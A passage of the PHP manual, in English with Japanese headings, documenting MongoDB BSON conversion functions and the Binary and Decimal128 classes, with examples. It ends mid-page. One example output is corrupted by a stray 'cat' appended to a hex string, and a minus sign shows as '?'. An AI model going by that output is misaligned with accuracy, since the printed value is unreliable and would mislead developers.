    • MongoDB\BSON\DBPointer::jsonSerialize — Returns a representation that can be converted to JSON
    • MongoDB\BSON\DBPointer::serialize — Serialize a DBPointer
    • MongoDB\BSON\DBPointer::__toString — Returns an empty string
    • MongoDB\BSON\DBPointer::unserialize — Unserialize a DBPointer
  • MongoDB\BSON\Int64 — The MongoDB\BSON\Int64 class
    • MongoDB\BSON\Int64::__construct — Construct a new Int64 (unused)
    • MongoDB\BSON\Int64::jsonSerialize — Returns a representation that can be converted to JSON
    • MongoDB\BSON\Int64::serialize — Serialize an Int64
    • MongoDB\BSON\Int64::__toString — Returns the string representation of this Int64
    • MongoDB\BSON\Int64::unserialize — Unserialize an Int64
  • MongoDB\BSON\Symbol — The MongoDB\BSON\Symbol class (deprecated)
    • MongoDB\BSON\Symbol::__construct — Construct a new Symbol (unused)
    • MongoDB\BSON\Symbol::jsonSerialize — Returns a representation that can be converted to JSON
    • MongoDB\BSON\Symbol::serialize — Serialize a Symbol
    • MongoDB\BSON\Symbol::__toString — Returns the Symbol as a string
    • MongoDB\BSON\Symbol::unserialize — Unserialize a Symbol
  • MongoDB\BSON\Undefined — The MongoDB\BSON\Undefined class (deprecated)
    • MongoDB\BSON\Undefined::__construct — Construct a new Undefined (unused)
    • MongoDB\BSON\Undefined::jsonSerialize — Returns a representation that can be converted to JSON
    • MongoDB\BSON\Undefined::serialize — Serialize a Undefined
    • MongoDB\BSON\Undefined::__toString — Returns an empty string
    • MongoDB\BSON\Undefined::unserialize — Unserialize a Undefined

User Contributed Notes

There are no user contributed notes for this page.


関数

目次

  • MongoDB\BSON\fromJSON — Returns the BSON representation of a JSON value
  • MongoDB\BSON\fromPHP — Returns the BSON representation of a PHP value
  • MongoDB\BSON\toCanonicalExtendedJSON — Returns the Canonical Extended JSON representation of a BSON value
  • MongoDB\BSON\toJSON — Returns the Legacy Extended JSON representation of a BSON value
  • MongoDB\BSON\toPHP — Returns the PHP representation of a BSON value
  • MongoDB\BSON\toRelaxedExtendedJSON — Returns the Relaxed Extended JSON representation of a BSON value

User Contributed Notes

There are no user contributed notes for this page.


Returns the BSON representation of a JSON value

  • ≪ 関数
  • MongoDB\BSON\fromPHP ≫
  • PHP Manual
  • 関数
  • Returns the BSON representation of a JSON value

MongoDB\BSON\fromJSON

(mongodb >=1.0.0)

MongoDB\BSON\fromJSON — Returns the BSON representation of a JSON value

説明

MongoDB\BSON\fromJSON ( string $json ) : string

Converts an » extended JSON string to its BSON representation.

パラメータ

json (string)

JSON value to be converted.

返り値

The serialized BSON document as a binary string.

エラー / 例外

  • Throws MongoDB\Driver\Exception\UnexpectedValueException if the JSON value cannot be converted to BSON (e.g. due to a syntax error).

例

例1 MongoDB\BSON\fromJSON() example

<?php

$json = '{ "_id": { "$oid": "563143b280d2387c91807965" } }';
$bson = MongoDB\BSON\fromJSON($json);
$value = MongoDB\BSON\toPHP($bson);
var_dump($value);

?>

上の例の出力は以下となります。

object(stdClass)#2 (1) {
  ["_id"]=>
  object(MongoDB\BSON\ObjectId)#1 (1) {
    ["oid"]=>
    string(24) "563143b280d2387c91807965"
  }
}

参考

  • MongoDB\BSON\toJSON() - Returns the Legacy Extended JSON representation of a BSON value
  • » MongoDB Extended JSON
  • » MongoDB BSON

User Contributed Notes

There are no user contributed notes for this page.


Returns the BSON representation of a PHP value

  • ≪ MongoDB\BSON\fromJSON
  • MongoDB\BSON\toCanonicalExtendedJSON ≫
  • PHP Manual
  • 関数
  • Returns the BSON representation of a PHP value

MongoDB\BSON\fromPHP

(mongodb >=1.0.0)

MongoDB\BSON\fromPHP — Returns the BSON representation of a PHP value

説明

MongoDB\BSON\fromPHP ( array|object $value ) : string

Serializes a PHP array or object (e.g. document) to its » BSON representation. The returned binary string will describe a BSON document.

パラメータ

value (array|object)

PHP value to be serialized.

返り値

The serialized BSON document as a binary string.

エラー / 例外

  • Throws MongoDB\Driver\Exception\UnexpectedValueException if the PHP value cannot be converted to BSON. Possible reasons include, but are not limited to, encountering an unexpected MongoDB\BSON\Type instance or MongoDB\BSON\Serializable::bsonSerialize() failing to return an array or stdClass.

例

例1 MongoDB\BSON\fromPHP() example

<?php

$bson = MongoDB\BSON\fromPHP(['foo' => 1]);
echo bin2hex($bson), "\n";

?>

上の例の出力は以下となります。

0e00000010666f6f000100000000cat

参考

  • MongoDB\BSON\toPHP() - Returns the PHP representation of a BSON value
  • » MongoDB BSON
  • Persisting Data

User Contributed Notes

There are no user contributed notes for this page.


Returns the Canonical Extended JSON representation of a BSON value

  • ≪ MongoDB\BSON\fromPHP
  • MongoDB\BSON\toJSON ≫
  • PHP Manual
  • 関数
  • Returns the Canonical Extended JSON representation of a BSON value

MongoDB\BSON\toCanonicalExtendedJSON

(mongodb >=1.3.0)

MongoDB\BSON\toCanonicalExtendedJSON — Returns the Canonical Extended JSON representation of a BSON value

説明

MongoDB\BSON\toCanonicalExtendedJSON ( string $bson ) : string

Converts a BSON string to its » Canonical Extended JSON representation. The canonical format prefers type fidelity at the expense of concise output and is most suited for producing output that can be converted back to BSON without any loss of type information (e.g. numeric types will remain differentiated).

パラメータ

bson (string)

BSON value to be converted.

返り値

The converted JSON value.

エラー / 例外

  • Throws MongoDB\Driver\Exception\UnexpectedValueException if the input did not contain exactly one BSON document. Possible reasons include, but are not limited to, invalid BSON, extra data (after reading one BSON document), or an unexpected » libbson error.

例

例1 MongoDB\BSON\toCanonicalExtendedJSON() example

<?php

$documents = [
    [ 'null' => null ],
    [ 'boolean' => true ],
    [ 'string' => 'foo' ],
    [ 'int32' => 123 ],
    [ 'int64' => 4294967295 ],
    [ 'double' => 1.0, ],
    [ 'nan' => NAN ],
    [ 'pos_inf' => INF ],
    [ 'neg_inf' => -INF ],
    [ 'array' => [ 'foo', 'bar' ]],
    [ 'document' => [ 'foo' => 'bar' ]],
    [ 'oid' => new MongoDB\BSON\ObjectId('56315a7c6118fd1b920270b1') ],
    [ 'dec128' => new MongoDB\BSON\Decimal128('1234.5678') ],
    [ 'binary' => new MongoDB\BSON\Binary('foo', MongoDB\BSON\Binary::TYPE_GENERIC) ],
    [ 'date' => new MongoDB\BSON\UTCDateTime(1445990400000) ],
    [ 'timestamp' => new MongoDB\BSON\Timestamp(1234, 5678) ],
    [ 'regex' => new MongoDB\BSON\Regex('pattern', 'i') ],
    [ 'code' => new MongoDB\BSON\Javascript('function() { return 1; }') ],
    [ 'code_ws' => new MongoDB\BSON\Javascript('function() { return a; }', ['a' => 1]) ],
    [ 'minkey' => new MongoDB\BSON\MinKey ],
    [ 'maxkey' => new MongoDB\BSON\MaxKey ],
];

foreach ($documents as $document) {
    $bson = MongoDB\BSON\fromPHP($document);
    echo MongoDB\BSON\toCanonicalExtendedJSON($bson), "\n";
}

?>

上の例の出力は以下となります。

{ "null" : null }
{ "boolean" : true }
{ "string" : "foo" }
{ "int32" : { "$numberInt" : "123" } }
{ "int64" : { "$numberLong" : "4294967295"} }
{ "double" : { "$numberDouble" : "1.0" } }
{ "nan" : { "$numberDouble" : "NaN" } }
{ "pos_inf" : { "$numberDouble" : "Infinity" } }
{ "neg_inf" : { "$numberDouble" : "-Infinity" } }
{ "array" : [ "foo", "bar" ] }
{ "document" : { "foo" : "bar" } }
{ "oid" : { "$oid" : "56315a7c6118fd1b920270b1" } }
{ "dec128" : { "$numberDecimal" : "1234.5678" } }
{ "binary" : { "$binary" : { "base64": "Zm9v", "subType" : "00" } } }
{ "date" : { "$date" : { "$numberLong" : "1445990400000" } } }
{ "timestamp" : { "$timestamp" : { "t" : 5678, "i" : 1234 } } }
{ "regex" : { "$regularExpression" : { "pattern" : "pattern", "options" : "i" } } }
{ "code" : { "$code" : "function() { return 1; }" } }
{ "code_ws" : { "$code" : "function() { return a; }", "$scope" : { "a" : { "$numberInt" : "1" } } } }
{ "minkey" : { "$minKey" : 1 } }
{ "maxkey" : { "$maxKey" : 1 } }

参考

  • MongoDB\BSON\fromJSON() - Returns the BSON representation of a JSON value
  • MongoDB\BSON\toRelaxedExtendedJSON() - Returns the Relaxed Extended JSON representation of a BSON value
  • » Extended JSON Specification
  • » MongoDB BSON

User Contributed Notes

There are no user contributed notes for this page.


Returns the Legacy Extended JSON representation of a BSON value

  • ≪ MongoDB\BSON\toCanonicalExtendedJSON
  • MongoDB\BSON\toPHP ≫
  • PHP Manual
  • 関数
  • Returns the Legacy Extended JSON representation of a BSON value

MongoDB\BSON\toJSON

(mongodb >=1.0.0)

MongoDB\BSON\toJSON — Returns the Legacy Extended JSON representation of a BSON value

説明

MongoDB\BSON\toJSON ( string $bson ) : string

Converts a BSON string to its » Legacy Extended JSON representation.

注意: There exist several JSON formats for representing BSON. This function implements the "strict mode" defined in » MongoDB Extended JSON, which has been superseded by the canonical and relaxed formats defined in the » Extended JSON Specification and implemented by MongoDB\BSON\toCanonicalExtendedJSON() and MongoDB\BSON\toRelaxedExtendedJSON(), respectively.

警告

» JSON does not support NAN and INF and MongoDB's Legacy Extended JSON format does not define an alternative representation for these values (» libbson will output nan and inf literals, which may not be parsed as valid JSON). If you are working with BSON that may contain non-finite numbers, please use MongoDB\BSON\toCanonicalExtendedJSON() or MongoDB\BSON\toRelaxedExtendedJSON().

パラメータ

bson (string)

BSON value to be converted.

返り値

The converted JSON value.

エラー / 例外

  • Throws MongoDB\Driver\Exception\UnexpectedValueException if the input did not contain exactly one BSON document. Possible reasons include, but are not limited to, invalid BSON, extra data (after reading one BSON document), or an unexpected » libbson error.

例

例1 MongoDB\BSON\toJSON() example

<?php

$documents = [
    [ 'null' => null ],
    [ 'boolean' => true ],
    [ 'string' => 'foo' ],
    [ 'int32' => 123 ],
    [ 'int64' => 4294967295 ],
    [ 'double' => 1.0, ],
    [ 'nan' => NAN ],
    [ 'pos_inf' => INF ],
    [ 'neg_inf' => -INF ],
    [ 'array' => [ 'foo', 'bar' ]],
    [ 'document' => [ 'foo' => 'bar' ]],
    [ 'oid' => new MongoDB\BSON\ObjectId('56315a7c6118fd1b920270b1') ],
    [ 'dec128' => new MongoDB\BSON\Decimal128('1234.5678') ],
    [ 'binary' => new MongoDB\BSON\Binary('foo', MongoDB\BSON\Binary::TYPE_GENERIC) ],
    [ 'date' => new MongoDB\BSON\UTCDateTime(1445990400000) ],
    [ 'timestamp' => new MongoDB\BSON\Timestamp(1234, 5678) ],
    [ 'regex' => new MongoDB\BSON\Regex('pattern', 'i') ],
    [ 'code' => new MongoDB\BSON\Javascript('function() { return 1; }') ],
    [ 'code_ws' => new MongoDB\BSON\Javascript('function() { return a; }', ['a' => 1]) ],
    [ 'minkey' => new MongoDB\BSON\MinKey ],
    [ 'maxkey' => new MongoDB\BSON\MaxKey ],
];

foreach ($documents as $document) {
    $bson = MongoDB\BSON\fromPHP($document);
    echo MongoDB\BSON\toJSON($bson), "\n";
}

?>

上の例の出力は以下となります。

{ "null" : null }
{ "boolean" : true }
{ "string" : "foo" }
{ "int32" : 123 }
{ "int64" : 4294967295 }
{ "double" : 1.0 }
{ "nan" : nan }
{ "pos_inf" : inf }
{ "neg_inf" : -inf }
{ "array" : [ "foo", "bar" ] }
{ "document" : { "foo" : "bar" } }
{ "oid" : { "$oid" : "56315a7c6118fd1b920270b1" } }
{ "dec128" : { "$numberDecimal" : "1234.5678" } }
{ "binary" : { "$binary" : "Zm9v", "$type" : "00" } }
{ "date" : { "$date" : 1445990400000 } }
{ "timestamp" : { "$timestamp" : { "t" : 5678, "i" : 1234 } } }
{ "regex" : { "$regex" : "pattern", "$options" : "i" } }
{ "code" : { "$code" : "function() { return 1; }" } }
{ "code_ws" : { "$code" : "function() { return a; }", "$scope" : { "a" : 1 } } }
{ "minkey" : { "$minKey" : 1 } }
{ "maxkey" : { "$maxKey" : 1 } }

参考

  • MongoDB\BSON\fromJSON() - Returns the BSON representation of a JSON value
  • MongoDB\BSON\toCanonicalExtendedJSON() - Returns the Canonical Extended JSON representation of a BSON value
  • MongoDB\BSON\toRelaxedExtendedJSON() - Returns the Relaxed Extended JSON representation of a BSON value
  • » MongoDB Extended JSON
  • » MongoDB BSON

User Contributed Notes

There are no user contributed notes for this page.


Returns the PHP representation of a BSON value

  • ≪ MongoDB\BSON\toJSON
  • MongoDB\BSON\toRelaxedExtendedJSON ≫
  • PHP Manual
  • 関数
  • Returns the PHP representation of a BSON value

MongoDB\BSON\toPHP

(mongodb >=1.0.0)

MongoDB\BSON\toPHP — Returns the PHP representation of a BSON value

説明

MongoDB\BSON\toPHP ( string $bson , array $typeMap = array() ) : array|object

Unserializes a BSON document (i.e. binary string) to its PHP representation. The typeMap paramater may be used to control the PHP types used for converting BSON arrays and documents (both root and embedded).

警告

Fields containing deprecated BSON types (i.e. undefined, symbol, DBPointer) are represented only by bare-bones objects of the classes MongoDB\BSON\Undefined, MongoDB\BSON\Symbol, and MongoDB\BSON\DBPointer, when converting BSON to PHP. These objects are created from BSON data and used for storing these types back into the database, but can not be instantiated as they have a private constructor.

パラメータ

bson (string)

BSON value to be unserialized.

typeMap (array)

型マップの設定。

返り値

The unserialized PHP value.

エラー / 例外

  • Throws MongoDB\Driver\Exception\InvalidArgumentException if a class in the type map cannot be instantiated or does not implement MongoDB\BSON\Unserializable.
  • Throws MongoDB\Driver\Exception\UnexpectedValueException if the input did not contain exactly one BSON document. Possible reasons include, but are not limited to, invalid BSON, extra data (after reading one BSON document), or an unexpected » libbson error.

変更履歴

バージョン | 説明
PECL mongodb 1.4.0 | If the input contains an unsupported, deprecated BSON type, the driver will now no longer log a warning to the debug log, but instead will create an object representing this type.
PECL mongodb 1.3.2 | MongoDB\Driver\Exception\UnexpectedValueException is no longer thrown if the input contains an unsupported, deprecated BSON type. Such types will be ignored (as they were in versions before 1.3.0), although the driver will now log a warning to the debug log (see: mongodb.debug).
PECL mongodb 1.3.0 | MongoDB\Driver\Exception\UnexpectedValueException is thrown if the input contains an unsupported, deprecated BSON type. Previously, such types were ignored.

例

例1 MongoDB\BSON\toPHP() example

<?php

$bson = hex2bin('0e00000010666f6f000100000000');
$value = MongoDB\BSON\toPHP($bson);
var_dump($value);

?>

上の例の出力は以下となります。

object(stdClass)#1 (1) {
  ["foo"]=>
  int(1)
}

参考

  • MongoDB\BSON\fromPHP() - Returns the BSON representation of a PHP value
  • » MongoDB BSON
  • Persisting Data

User Contributed Notes

There are no user contributed notes for this page.


Returns the Relaxed Extended JSON representation of a BSON value

  • ≪ MongoDB\BSON\toPHP
  • MongoDB\BSON\Binary ≫
  • PHP Manual
  • 関数
  • Returns the Relaxed Extended JSON representation of a BSON value

MongoDB\BSON\toRelaxedExtendedJSON

(mongodb >=1.3.0)

MongoDB\BSON\toRelaxedExtendedJSON — Returns the Relaxed Extended JSON representation of a BSON value

説明

MongoDB\BSON\toRelaxedExtendedJSON ( string $bson ) : string

Converts a BSON string to its » Relaxed Extended JSON representation. The relaxed format prefers use of JSON type primitives at the expense of type fidelity and is most suited for producing output that can be easily consumed by web APIs and humans.

パラメータ

bson (string)

BSON value to be converted.

返り値

The converted JSON value.

エラー / 例外

  • Throws MongoDB\Driver\Exception\UnexpectedValueException if the input did not contain exactly one BSON document. Possible reasons include, but are not limited to, invalid BSON, extra data (after reading one BSON document), or an unexpected » libbson error.

例

例1 MongoDB\BSON\toRelaxedExtendedJSON() example

<?php

$documents = [
    [ 'null' => null ],
    [ 'boolean' => true ],
    [ 'string' => 'foo' ],
    [ 'int32' => 123 ],
    [ 'int64' => 4294967295 ],
    [ 'double' => 1.0, ],
    [ 'nan' => NAN ],
    [ 'pos_inf' => INF ],
    [ 'neg_inf' => -INF ],
    [ 'array' => [ 'foo', 'bar' ]],
    [ 'document' => [ 'foo' => 'bar' ]],
    [ 'oid' => new MongoDB\BSON\ObjectId('56315a7c6118fd1b920270b1') ],
    [ 'dec128' => new MongoDB\BSON\Decimal128('1234.5678') ],
    [ 'binary' => new MongoDB\BSON\Binary('foo', MongoDB\BSON\Binary::TYPE_GENERIC) ],
    [ 'date' => new MongoDB\BSON\UTCDateTime(1445990400000) ],
    [ 'timestamp' => new MongoDB\BSON\Timestamp(1234, 5678) ],
    [ 'regex' => new MongoDB\BSON\Regex('pattern', 'i') ],
    [ 'code' => new MongoDB\BSON\Javascript('function() { return 1; }') ],
    [ 'code_ws' => new MongoDB\BSON\Javascript('function() { return a; }', ['a' => 1]) ],
    [ 'minkey' => new MongoDB\BSON\MinKey ],
    [ 'maxkey' => new MongoDB\BSON\MaxKey ],
];

foreach ($documents as $document) {
    $bson = MongoDB\BSON\fromPHP($document);
    echo MongoDB\BSON\toRelaxedExtendedJSON($bson), "\n";
}

?>

上の例の出力は以下となります。

{ "null" : null }
{ "boolean" : true }
{ "string" : "foo" }
{ "int32" : 123 }
{ "int64" : 4294967295 }
{ "double" : 1.0 }
{ "nan" : { "$numberDouble" : "NaN" } }
{ "pos_inf" : { "$numberDouble" : "Infinity" } }
{ "neg_inf" : { "$numberDouble" : "-Infinity" } }
{ "array" : [ "foo", "bar" ] }
{ "document" : { "foo" : "bar" } }
{ "oid" : { "$oid" : "56315a7c6118fd1b920270b1" } }
{ "dec128" : { "$numberDecimal" : "1234.5678" } }
{ "binary" : { "$binary" : { "base64": "Zm9v", "subType" : "00" } } }
{ "date" : { "$date" : "2015-10-28T00:00:00Z" } }
{ "timestamp" : { "$timestamp" : { "t" : 5678, "i" : 1234 } } }
{ "regex" : { "$regularExpression" : { "pattern" : "pattern", "options" : "i" } } }
{ "code" : { "$code" : "function() { return 1; }" } }
{ "code_ws" : { "$code" : "function() { return a; }", "$scope" : { "a" : 1 } } }
{ "minkey" : { "$minKey" : 1 } }
{ "maxkey" : { "$maxKey" : 1 } }

参考

  • MongoDB\BSON\fromJSON() - Returns the BSON representation of a JSON value
  • MongoDB\BSON\toCanonicalExtendedJSON() - Returns the Canonical Extended JSON representation of a BSON value
  • » Extended JSON
  • » MongoDB BSON

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\Binary class

(mongodb >=1.0.0)

はじめに

BSON type for binary data (i.e. array of bytes). Binary values also have a subtype, which is used to indicate what kind of data is in the byte array. Subtypes from zero to 127 are predefined or reserved. Subtypes from 128-255 are user-defined.

クラス概要

final MongoDB\BSON\Binary implements MongoDB\BSON\BinaryInterface , MongoDB\BSON\Type , Serializable , JsonSerializable {
/* Constants */
const int TYPE_GENERIC = 0 ;
const int TYPE_FUNCTION = 1 ;
const int TYPE_OLD_BINARY = 2 ;
const int TYPE_OLD_UUID = 3 ;
const int TYPE_UUID = 4 ;
const int TYPE_MD5 = 5 ;
const int TYPE_ENCRYPTED = 6 ;
const int TYPE_USER_DEFINED = 128 ;
/* メソッド */
final public __construct ( string $data , int $type )
final public getData ( ) : string
final public getType ( ) : int
final public jsonSerialize ( ) : mixed
final public serialize ( ) : string
final public __toString ( ) : string
final public unserialize ( string $serialized ) : void
}

定義済み定数

MongoDB\BSON\Binary::TYPE_GENERIC

Generic binary data.

MongoDB\BSON\Binary::TYPE_FUNCTION

Function.

MongoDB\BSON\Binary::TYPE_OLD_BINARY

Generic binary data (deprecated in favor of MongoDB\BSON\Binary::TYPE_GENERIC).

MongoDB\BSON\Binary::TYPE_OLD_UUID

Universally unique identifier (deprecated in favor of MongoDB\BSON\Binary::TYPE_UUID). When using this type, the Binary's data should be 16 bytes in length.

Historically, other drivers encoded values with this type based on their language conventions (e.g. varying endianness), which makes it non-portable. The PHP driver applies no special handling for encoding or decoding data with this type.

MongoDB\BSON\Binary::TYPE_UUID

Universally unique identifier. When using this type, the Binary's data should be 16 bytes in length and encoded according to » RFC 4122.

MongoDB\BSON\Binary::TYPE_MD5

MD5 hash. When using this type, the Binary's data should be 16 bytes in length.

MongoDB\BSON\Binary::TYPE_ENCRYPTED

Encrypted value. This subtype is used for client-side encryption.

MongoDB\BSON\Binary::TYPE_USER_DEFINED

User-defined type. While types between 0 and 127 are predefined or reserved, types between 128 and 255 are user-defined and may be used for anything.

変更履歴

バージョン | 説明
PECL mongodb 1.3.0 | Implements MongoDB\BSON\BinaryInterface.
PECL mongodb 1.2.0 | Implements Serializable and JsonSerializable.

目次

  • MongoDB\BSON\Binary::__construct — Construct a new Binary
  • MongoDB\BSON\Binary::getData — Returns the Binary's data
  • MongoDB\BSON\Binary::getType — Returns the Binary's type
  • MongoDB\BSON\Binary::jsonSerialize — Returns a representation that can be converted to JSON
  • MongoDB\BSON\Binary::serialize — Serialize a Binary
  • MongoDB\BSON\Binary::__toString — Returns the Binary's data
  • MongoDB\BSON\Binary::unserialize — Unserialize a Binary

User Contributed Notes

There are no user contributed notes for this page.


Construct a new Binary

  • ≪ MongoDB\BSON\Binary
  • MongoDB\BSON\Binary::getData ≫
  • PHP Manual
  • MongoDB\BSON\Binary
  • Construct a new Binary

MongoDB\BSON\Binary::__construct

(mongodb >=1.0.0)

MongoDB\BSON\Binary::__construct — Construct a new Binary

説明

final public MongoDB\BSON\Binary::__construct ( string $data , int $type )

パラメータ

data (string)

Binary data.

type (int)

Unsigned 8-bit integer denoting the data's type.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if type is not an unsigned 8-bit integer.
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if type is MongoDB\BSON\Binary::TYPE_UUID or MongoDB\BSON\Binary::TYPE_OLD_UUID and data is not exactly 16 bytes in length.

変更履歴

バージョン | 説明
PECL mongodb 1.3.0 | MongoDB\Driver\Exception\InvalidArgumentException is thrown if type is MongoDB\BSON\Binary::TYPE_UUID or MongoDB\BSON\Binary::TYPE_OLD_UUID and data is not exactly 16 bytes in length.
PECL mongodb 1.1.3 | MongoDB\Driver\Exception\InvalidArgumentException is thrown if type is not an unsigned 8-bit integer.

例

例1 MongoDB\BSON\Binary::__construct() example

<?php

$binary = new MongoDB\BSON\Binary('foo', MongoDB\BSON\Binary::TYPE_GENERIC);
var_dump($binary);

?>

上の例の出力は以下となります。

object(MongoDB\BSON\Binary)#1 (2) {
  ["data"]=>
  string(3) "foo"
  ["type"]=>
  int(0)
}

参考

  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Returns the Binary's data

  • ≪ MongoDB\BSON\Binary::__construct
  • MongoDB\BSON\Binary::getType ≫
  • PHP Manual
  • MongoDB\BSON\Binary
  • Returns the Binary's data

MongoDB\BSON\Binary::getData

(mongodb >=1.0.0)

MongoDB\BSON\Binary::getData — Returns the Binary's data

説明

final public MongoDB\BSON\Binary::getData ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

Returns the Binary's data.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\BSON\Binary::getData() example

<?php

$binary = new MongoDB\BSON\Binary('foo', MongoDB\BSON\Binary::TYPE_GENERIC);
var_dump($binary->getData());

?>

上の例の出力は以下となります。

string(3) "foo"

参考

  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Returns the Binary's type

  • ≪ MongoDB\BSON\Binary::getData
  • MongoDB\BSON\Binary::jsonSerialize ≫
  • PHP Manual
  • MongoDB\BSON\Binary
  • Returns the Binary's type

MongoDB\BSON\Binary::getType

(mongodb >=1.0.0)

MongoDB\BSON\Binary::getType — Returns the Binary's type

説明

final public MongoDB\BSON\Binary::getType ( ) : int

パラメータ

この関数にはパラメータはありません。

返り値

Returns the Binary's type.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

例

例1 MongoDB\BSON\Binary::getType() example

<?php

$binary = new MongoDB\BSON\Binary('foo', MongoDB\BSON\Binary::TYPE_GENERIC);
var_dump($binary->getType());

?>

上の例の出力は以下となります。

int(0)

参考

  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Returns a representation that can be converted to JSON

  • ≪ MongoDB\BSON\Binary::getType
  • MongoDB\BSON\Binary::serialize ≫
  • PHP Manual
  • MongoDB\BSON\Binary
  • Returns a representation that can be converted to JSON

MongoDB\BSON\Binary::jsonSerialize

(mongodb >=1.2.0)

MongoDB\BSON\Binary::jsonSerialize — Returns a representation that can be converted to JSON

説明

final public MongoDB\BSON\Binary::jsonSerialize ( ) : mixed

パラメータ

この関数にはパラメータはありません。

返り値

Returns data which can be serialized by json_encode() to produce an extended JSON representation of the MongoDB\BSON\Binary.

注意: The output is consistent with the MongoDB\BSON\toJSON() function, which uses the driver-specific legacy extended JSON format. This does not necessarily match the » relaxed or » canonical extended JSON representations used by MongoDB\BSON\toRelaxedExtendedJSON() and MongoDB\BSON\toCanonicalExtendedJSON(), respectively.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • JsonSerializable::jsonSerialize() - JSON にシリアライズしたいデータを指定する
  • json_encode() - 値を JSON 形式にして返す
  • MongoDB\BSON\toCanonicalExtendedJSON() - Returns the Canonical Extended JSON representation of a BSON value
  • MongoDB\BSON\toRelaxedExtendedJSON() - Returns the Relaxed Extended JSON representation of a BSON value
  • » MongoDB Extended JSON

User Contributed Notes

There are no user contributed notes for this page.


Serialize a Binary

  • ≪ MongoDB\BSON\Binary::jsonSerialize
  • MongoDB\BSON\Binary::__toString ≫
  • PHP Manual
  • MongoDB\BSON\Binary
  • Serialize a Binary

MongoDB\BSON\Binary::serialize

(mongodb >=1.2.0)

MongoDB\BSON\Binary::serialize — Serialize a Binary

説明

final public MongoDB\BSON\Binary::serialize ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

Returns the serialized representation of the MongoDB\BSON\Binary.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。

参考

  • MongoDB\BSON\Binary::unserialize() - Unserialize a Binary
  • serialize() - 値の保存可能な表現を生成する
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


Returns the Binary's data

  • ≪ MongoDB\BSON\Binary::serialize
  • MongoDB\BSON\Binary::unserialize ≫
  • PHP Manual
  • MongoDB\BSON\Binary
  • Returns the Binary's data

MongoDB\BSON\Binary::__toString

(mongodb >=1.2.0)

MongoDB\BSON\Binary::__toString — Returns the Binary's data

説明

final public MongoDB\BSON\Binary::__toString ( ) : string

このメソッドは次のメソッドのエイリアスです。 MongoDB\BSON\Binary::getData().

パラメータ

この関数にはパラメータはありません。

返り値

Returns the Binary's data.

例

例1 MongoDB\BSON\Binary::__toString() example

<?php

var_dump((string) new MongoDB\BSON\Binary('foo', MongoDB\BSON\Binary::TYPE_GENERIC));

?>

上の例の出力は以下となります。

string(3) "foo"

参考

  • MongoDB\BSON\Binary::getData() - Returns the Binary's data
  • » BSON Types

User Contributed Notes

There are no user contributed notes for this page.


Unserialize a Binary

  • ≪ MongoDB\BSON\Binary::__toString
  • MongoDB\BSON\Decimal128 ≫
  • PHP Manual
  • MongoDB\BSON\Binary
  • Unserialize a Binary

MongoDB\BSON\Binary::unserialize

(mongodb >=1.2.0)

MongoDB\BSON\Binary::unserialize — Unserialize a Binary

説明

final public MongoDB\BSON\Binary::unserialize ( string $serialized ) : void

パラメータ

serialized

The serialized MongoDB\BSON\Binary.

返り値

Returns the unserialized MongoDB\BSON\Binary.

エラー / 例外

  • 引数のパースに失敗した場合に MongoDB\Driver\Exception\InvalidArgumentException をスローします。
  • Throws MongoDB\Driver\Exception\UnexpectedValueException if the properties cannot be unserialized (i.e. serialized was malformed).
  • Throws MongoDB\Driver\Exception\InvalidArgumentException if the properties are invalid (e.g. missing fields or invalid values).

参考

  • MongoDB\BSON\Binary::serialize() - Serialize a Binary
  • unserialize() - 保存用表現から PHP の値を生成する
  • Serializing Objects

User Contributed Notes

There are no user contributed notes for this page.


The MongoDB\BSON\Decimal128 class

(mongodb >=1.2.0)

はじめに

BSON type for the » Decimal128 floating-point format, which supports numbers with up to 34 decimal digits (i.e. significant digits) and an exponent range of ?6143 to +6144.

Unlike the double BSON type (i.e. float in PHP), which only stores an approximation of the decimal values, the decimal data type stores the exact value. For example, MongoDB\BSON\Decimal128('9.99') has a precise value of 9.99 where as a double 9.99 would have an approximate value of 9.9900000000000002131628....

注意: MongoDB\BSON\Decimal128 は、 MongoDB 3.4 以降でしか使えません。それより前のバージョンの MongoDB の BSON 型でこれを使おうとすると、エラーが発生します。

クラス概要

final MongoDB\BSON\Decimal128 implements MongoDB\BSON\Decimal128Interface , MongoDB\BSON\Type , Serializable , JsonSerializable {
/* メソッド */
final public __construct ( string $value = ? )
final public jsonSerialize ( ) : mixed
final public serialize ( ) : string
final public __toString ( ) : string
final public unserialize ( string $serialized ) : void
}

変更履歴

バージョン | 説明
PECL mongodb 1.3.0 | Implements MongoDB\BSON\Decimal128Interface.
PECL mongodb 1.2.0 | Implements Serializable and JsonSerializable.

目次

  • MongoDB\BSON\Decimal128::__construct — Construct a new Decimal128
  • MongoDB\BSON\Decimal128::jsonSerialize — Returns a representation that can be converted to JSON
  • MongoDB\BSON\Decimal128::serialize — Serialize a Decimal128
  • MongoDB\BSON\Decimal128::__toString — Returns the string representation of this Decimal128
  • MongoDB\BSON\Decimal128::unserialize — Unserialize a Decimal128

User Contributed Notes

There are no user contributed notes for this page.


Construct a new Decimal128

  • ≪ MongoDB\BSON\Decimal128
  • MongoDB\BSON\Decimal128::jsonSerialize ≫
  • PHP Manual
  • MongoDB\BSON\Decimal128
  • Construct a new Decimal128

MongoDB\BSON\Decimal128::__construct

(mongodb >=1.2.0)

MongoDB\BSON\Decimal128::__construct — Construct a new Decimal128

説明

final public MongoDB\BSON\Decimal128::__construct ( string $value = ? )

注意: MongoDB\BSON\Decimal128 は、 MongoDB 3.4 以降でしか使えません。それより前のバージョンの MongoDB の BSON 型でこれを使おうとすると、エラーが発生します。

パラメータ

value (string)

A decimal string.

エラー / 例外
